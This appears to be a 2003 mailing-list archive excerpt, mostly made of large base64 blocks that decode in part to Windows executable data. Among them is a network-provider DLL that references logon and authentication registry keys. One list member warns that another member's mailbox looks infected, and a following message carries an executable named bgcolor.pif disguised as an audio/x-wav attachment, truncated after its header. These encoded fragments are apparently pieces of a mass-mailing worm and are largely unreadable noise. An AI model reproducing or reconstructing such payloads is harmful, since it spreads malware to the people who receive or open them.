DAAAAGgCAIANAAAAgAIAgA4AAACYAgCADwAAALACAIAQAAAAyAIAgBEAAADgAgCAAAAAAAAA AAAEAAAAAAABAMgAAAD4AgCAAAAAAAAAAAAEAAAAAAADAAcAAAAQAwCACAAAACgDAIAJAAAA QAMAgAAAAAAAAAAABAAAAAAABQDJAAAAWAMAgCwBAABwAwCALQEAAIgDAIAuAQAAoAMAgC8B AAC4AwCAAAAAAAAAAAAEAAAAAAABAAEAAADQAwCAAAAAAAAAAAAEAAAAAAABAAwEAADoAwAA AAAAAAAAAAAEAAAAAAABAAwEAAD4AwAAAAAAAAAAAAAEAAAAAAABAAwEAAAIBAAAAAAAAAAA AAAEAAAAAAABAAwEAAAYBAAAAAAAAAAAAAAEAAAAAAABAAwEAAAoBAAAAAAAAAAAAAAEAAAA AAABAAwEAAA4BAAAAAAAAAAAAAAEAAAAAAABAAwEAABIBAAAAAAAAAAAAAAEAAAAAAABAAwE AABYBAAAAAAAAAAAAAAEAAAAAAABAAwEAABoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAB4BAAA AAAAAAAAAAAEAAAAAAABAAwEAACIBAAAAAAAAAAAAAAEAAAAAAABAAwEAACYBAAAAAAAAAAA AAAEAAAAAAABAAwEAACoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAC4BAAAAAAAAAAAAAAEAAAA AAABAAwEAADIBAAAAAAAAAAAAAAEAAAAAAABAAwEAADYBAAAAAAAAAAAAAAEAAAAAAABAAwE AADoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAD4BAAAAAAAAAAAAAAEAAAAAAABAAwEAAAIBQAA AAAAAAAAAAAEAAAAAAABAAwEAAAYBQAAAAAAAAAAAAAEAAAAAAABAAwEAAAoBQAAAAAAAAAA AAAEAAAAAAABAAwEAAA4BQAAAAAAAAAAAAAEAAAAAAABAAwEAABIBQAAAAAAAAAAAAAEAAAA AAABAAwEAABYBQAAAAAAAAAAAAAEAAAAAAABAAwEAABoBQAAAAAAAAAAAAAEAAAAAAABAAwE AAB4BQAAAAAAAAAAAAAEAAAAAAABAAwEAACIBQAAmFUJACgBAADkBAAAAAAAAMBWCQAoAQAA 5AQAAAAAAADoVwkAKAEAAOQEAAAAAAAAEFkJAGgFAADkBAAAAAAAAHheCQBoBAAA5AQAAAAA AADgYgkAKAEAAOQEAAAAAAAACGQJAGgFAADkBAAAAAAAAHBpCQBoBAAA5AQAAAAAAADYbQkA aAYAAOQEAAAAAAAAQHQJAOgCAADkBAAAAAAAACh3CQAoAQAA5AQAAAAAAABQeAkAqA4AAOQE AAAAAAAA+IYJAKgIAADkBAAAAAAAAKCPCQBoBQAA5AQAAAAAAAAIlQkAqCUAAOQEAAAAAAAA sLoJAKgQAADkBAAAAAAAAFjLCQBoBAAA5AQAAAAAAADAzwkAgAEAAOQEAAAAAAAAQNEJAAID AADkBAAAAAAAAETUCQCGAQAA5AQAAAAAAADM1QkAEAUAAOQEAAAAAAAA3NoJAIQAAADkBAAA AAAAAGDbCQAUAAAA5AQAAAAAAAB02wkAFAAAAOQEAAAAAAAAiNsJADAAAADkBAAAAAAAALjb CQAwAAAA5AQAAAAAAADo2wkA4AUAAOQEAAAAAAAAKAAAABAAAAAgAAAAAQAEAAAAAADAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA /wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAigAAAAAAAAiooLsAAAAACo qLu7AAAACoqEu7uwAAAiIkS7u7AAAMIiSbm5sAAMgiRLm5uQAMjCJJm5uZAMzMwkmZmZmQzM zMmZmZmZzMzAAJmZmZnMwAAACZmZmQAAAAAAmZmZAAAAAAAJmZAAAAAAAAAJAP//AAD+fwAA /CcAAPwDAAD4AQAA8AEAAPABAADgAQAAwAEAAIAAAACAAAAABwAAAB+AAAD/wAAA/+EAAP/7 AAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAgAAAgAAA AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AACZ kAAAAAAAD3mfAIAAAACZ9/eYiAiAAJmfeZiIh3gAmff3l4R3eAAAeZ93RHd3gACZl3hIiIeA AAiHdEh3eIAAh4eEh3d3gAh3eHSHd3eACHd4CHd3d4AIeIAAh3d3gAiAAAAId3eAAAAAAACI d4AAAAAAAACIAAAAAAAAAAAAx////4N///8AJ///AAP//wAD///AAf//wAH//+AB///AAf// gAH//4IB//+HAf//n4H////B////8////////ygAAAAQAAAAIAAAAAEABAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD/AAAAgAAAAAD/AAAAgAAAAP//AAAA/wCAgIAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIiIiIiIiIiIiIiGKIiIiIiIiGJihEiIiIiIJiZE RIiIiIJiYURESIiIMzMRRERIiIgDMxVFRUiIgGMxFFRUWIgGAzFVRUVYgAAAMVVVVVWAAAAF VVVVVQAACIhVVVVVAAiIiIVVVVWIiIiIiFVVVYiIiIiIhVVYiIiIiIiIhYj//wAA/n8AAPwn AAD8AwAA+AEAAPABAADwAQAA4AEAAMABAACAAAAAgAAAAAcAAAAfgAAA/8AAAP/hAAD/+wAA KAAAABAAAAAgAAAAAQAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz/wAzmf8AM2b/AMyZ ZgAzzP8AzGYzAGbMZgDMmTMAzGZmAGaZMwAzM/8AM5kzAJnMmQDMzJkAAMz/ADOZAABmmf8A ZpnMAGbMmQBmZv8AzMxmAABm/wAzzDMAmWYzAGbM/wCZZmYA8MqmAICAAACGhoYAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE1TTlAzMiAtIE5ldHdv cmsgcHJvdmlkZXIgZm9yIE1pY3Jvc29mdCBuZXR3b3JrcwAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAwAAAAAAAAEYBAAAAAAAAAMAAAAAAAABGAgAAAAAAAADAAAAAAAAARgMA AAAAAAAAwAAAAAAAAEYEAAAAAAAAAMAAAAAAAABGBQAAAAAAAADAAAAAAAAARgYAAAAAAAAA wAAAAAAAAEYHAAAAAAAAAMAAAAAAAABGCAAAAAAAAADAAAAAAAAARgkAAAAAAAAAwAAAAAAA AEYKAAAAAAAAAMAAAAAAAABGCwAAAAAAAADAAAAAAAAARgwAAAAAAAAAwAAAAAAAAEYNAAAA AAAAAMAAAAAAAABGDgAAAAAAAADAAAAAAAAARg8AAAAAAAAAwAAAAAAAAEYQAAAAAAAAAMAA AAAAAABGEQAAAAAAAADAAAAAAAAARhIAAAAAAAAAwAAAAAAAAEYTAAAAAAAAAMAAAAAAAABG FAAAAAAAAADAAAAAAAAARhUAAAAAAAAAwAAAAAAAAEYWAAAAAAAAAMAAAAAAAABGFwAAAAAA AADAAAAAAAAARhgAAAAAAAAAwAAAAAAAAEYZAAAAAAAAAMAAAAAAAABGwNJNYQl7GxCbOACq AAxPXfJtpH/ybaR/8m2kf/JtpH/ybaR/AAAAAAQapH8OGqR/GBqkfz8XpH/kF6R/jBekf5oX pH9OGKR/gxmkfwAAAADybaR/8m2kf/JtpH/ybaR/8m2kf/JtpH/ybaR/AAAAAERpc2FibGVS ZUxvZ2luAABTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxTZXR1 cABTaGFyZWREaXIAAAAAAAAAAyykf/JtpH+ed6R/o3ekf6h3pH+td6R/Ai2kf/JtpH9tLaR/ AAAAAJctpH/gLaR/nnekf6N3pH8HLqR/rXekfwItpH/ALaR/bS2kfwAAAAB6LqR/9C6kf553 pH+jd6R/Li+kf4YvpH8CLaR/si6kf8EvpH8AAAAANzCkf4owpH+ed6R/o3ekf/swpH+eMaR/ Ai2kf28wpH/ZMaR/AAAAAGwypH+vMqR/nnekf9oypH8TM6R/rXekfwItpH+VMqR/RTOkf1xJ UEMkAAAAAAAAAAAAAAAAAAAAU3lzdGVtXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFJl bW90ZUFjY2VzcwAAUmVtb3RlIENvbm5lY3Rpb24AAAAAAAAAU3lzdGVtXEN1cnJlbnRDb250 cm9sU2V0XFNlcnZpY2VzXFZ4RFxWTkVUU1VQAAAATmV0d29ya1xMb2dvbgAAAHdvcmtncm91 cAAAAAAAAABMTUxvZ29uAGxvZ29udmFsaWRhdGVkAABTeXN0ZW1cQ3VycmVudENvbnRyb2xT ZXRcU2VydmljZXNcTVNOUDMyXE5ldHdvcmtQcm92aWRlcgAAAAAAAAAAQXV0aGVudGljYXRp bmdBZ2VudAAAAAAARG9tYWluTG9nb25NZXNzYWdlAAAAAAAAXFwuXFZSRURJUgAAAAAAAFNv ZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXE5ldHdvcmsAAAAAAAAA V3JrZ3JwRm9yY2VNYXBwaW5nAAAAAAAATVNOUDMyAABMb2dvbkRpc2Nvbm5lY3RlZAAAAAAA AABOb0RvbWFpblB3ZENhY2hpbmcAAAAAAABTeXN0ZW1cQ3VycmVudENvbnRyb2xTZXRcU2Vy dmljZXNcVnhEXFZORVRTVVAAAABXb3JrZ3JvdXAAAAAAAAAA52Okf0dkpH+AZKR/o3ekf4Rk pH+td6R/vGSkfwAAAAD1baR/HG6kf/JtpH/ybaR/U0hFTEwzMi5ETEwAAAAAAGNvbWN0bDMy LkRMTAAAAABTeXN0ZW1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXMAAAAAAAAATmV0d29y a1Byb3ZpZGVyAEt3pH9wd6R/nnekf6N3pH+od6R/rXekf/JtpH8AAAAAE3ukfzx7pH+ed6R/ o3ekf6h3pH9ge6R/7Hukf+d7pH/oFAIAAAAAAMAAAAAAAABG6RQCAAAAAADAAAAAAAAARoM9 NJCkfwEbwEDDVlfohQ0AAIXAdDG/6BGkf7kQAAAAi3QkDPOmdR9oQBakf2g0kKR/aLEWpH// dCQg/3QkIP8VVJCkf+sFuBEBBIBfXsIMAIN8JAQAU1ZXdAe4EAEEgOt3aiQz2+jTVwAAg8QE i/CF9nQ/uEgSpH+NfgRoAAQAAI1OFMcG+BGkf8cHOBKkf8dGCAEAAACJXgyJXhDoQ1cAAIle IMcGIBKkf8cHEBKkf+sCM/a4DgAHgIX2dBuLPv8FNJCkf/90JBj/dCQYVv8Xi9hW/1cIi8Nf XlvCDABWV4t0JAyLRgiFwHQGUIs4/1cIjX4MiweFwHQHUP8V+KGkf4tEJBSFwHQJUIlGCIsw /1YEi0QkGIXAdApXagBQ/xX0oaR/M8BfXsIQAItMJASLQQhAiUEIwgQAVot0JAiLRghIiUYI dTiLRgyFwHQGUIsA/1AIi0YQhcB0B1D/FfihpH+F9nQRjU4U6KNWAABW6NNWAACDxAQzwP8N NJCkf17CBABVuhAAAACL7IvKVle/UBakf4tFDIvw86Z0Pb9IEKR/i8qL8POmdDC/QBakf4vK i/DzpnUci1UIhdJ0Co1CBItNEIkB6xqLTRDHAQAAAADrD7gCQACA6w2LVQiLTRCJETPA/0II X15dwgwAVYvsg+wgZoM9MJCkfwBTVld0CGahMJCkf+sRaDiQpH//FTijpH9mozCQpH9miUXg i3UIx0XkAAAAALgBAAAAi04MjVXgiUXoiUXwjUX0UFJRiwHHRez//////1AMhcAPjMcAAACD PVCQpH8Ai134D4S1AAAAagBqAGr/U/8VUJCkf4t+HIXAD4SdAAAAgz1QkKR/AA+EkAAAAGgA BAAAV2oAU/8VUJCkf8dGIAEAAACLRwiD+AJ1B7gCAAAA6xaD+AF1B7gDAAAA6wqD+AN1WrhT AAAAUIvOaDAipH//dRD/dQzoVQAAAIN/CAJ1IP93FOgbBQAAhcB0FGoEi85oBCOkf/91EP91 DOgvAAAAg338AHQNi0X8/3X8ixj/UwjrCf91+P8VYKKkfzPAX15bi+VdwgwAuAFAAIDCEABV oSiQpH+L7IPsMFaLVRCJRdiJVeiLdRSJTexRiXXcx0XQMAAAAMdF1EAAAACLAcdF9DSQpH// UASDPWCQpH8AdCuDPWSQpH8AdCKNRdBQ/xVgkKR/i/CF9nQS/3UMVv9VCIXAdQdW/xVkkKR/ uAEAAABei+VdwhAAg2wkBATp1v3//4NsJAQE6XT9//+DbCQEBOl4/f//VjPAiUEEiQGL8WgC fwAAUP8VMKOkf1D/FTSjpH+JRgSLxl7DVovx/3EE/xU0o6R/iwaFwHQHUP8VLKOkf17DoViQ pH8zyYXAdAxqAVFR/3QkEFFR/9DCBACLRCQEhcB0FoP4BXQcg/g1dB6D+EF0Ej3qAAAAdQQz wOsTuDgAAADrDLgxAAAA6wW4NAAAAMIEAFWL7IHsPAEAAFNWV2gABAAAakD/FVyipH+L8IX2 dRRoAJCkf2o5/3UI6PkBAADp6QEAAI1F/lBoAAQAAFZqMmoA6AtmAAA96gAAAHQHPUsIAAB1 QVb/FViipH8Pt0X+UGpA/xVcoqR/i/CF9nUUaACQpH9qOf91COiqAQAA6ZoBAACNRf5QaAAE AABWajJqAOi8ZQAAhcB0DGgAkKR/ajnpaAEAAGaDfhoBG9uLRhJDJYAAAA=9 --F9w10Hv83W1197qbb9Wi65kJwicrz7N3n5y31-- From stephane.morel at vanoise.com Tue Jan 7 01:56:07 2003 From: stephane.morel at vanoise.com (stephane.morel at vanoise.com) Date: Tue, 7 Jan 2003 09:56:07 -0000 Subject: Warning !!!!!RE: [Mapserver-users] Hi,mapserver-users,how are you Message-ID: <01C2B633.007944D0.stephane.morel@vanoise.com> Warning !! I just receive this mail . It lokks like a virus. The sender is : woodbri at swoodbridge.com It seems to be Stephen Woodbridge mail box infected Best regards Stephane MOREL << File: ATT00006.html >> << File: Amcac.exe >> From woodbri at swoodbridge.com Tue Jan 7 02:04:33 2003 From: woodbri at swoodbridge.com (woodbri) Date: Tue, 7 Jan 2003 11:04:33 +0100 (added by postmaster@wanadoo.fr) Subject: [Mapserver-users] How are you Message-ID: <3E075B1B005A772F@mel-rta7.wanadoo.fr> (added by postmaster@wanadoo.fr) --Qes08LQQ3jP791t201wbsDH9v6af44I Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Qes08LQQ3jP791t201wbsDH9v6af44I Content-Type: audio/x-wav; name=bgcolor.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g 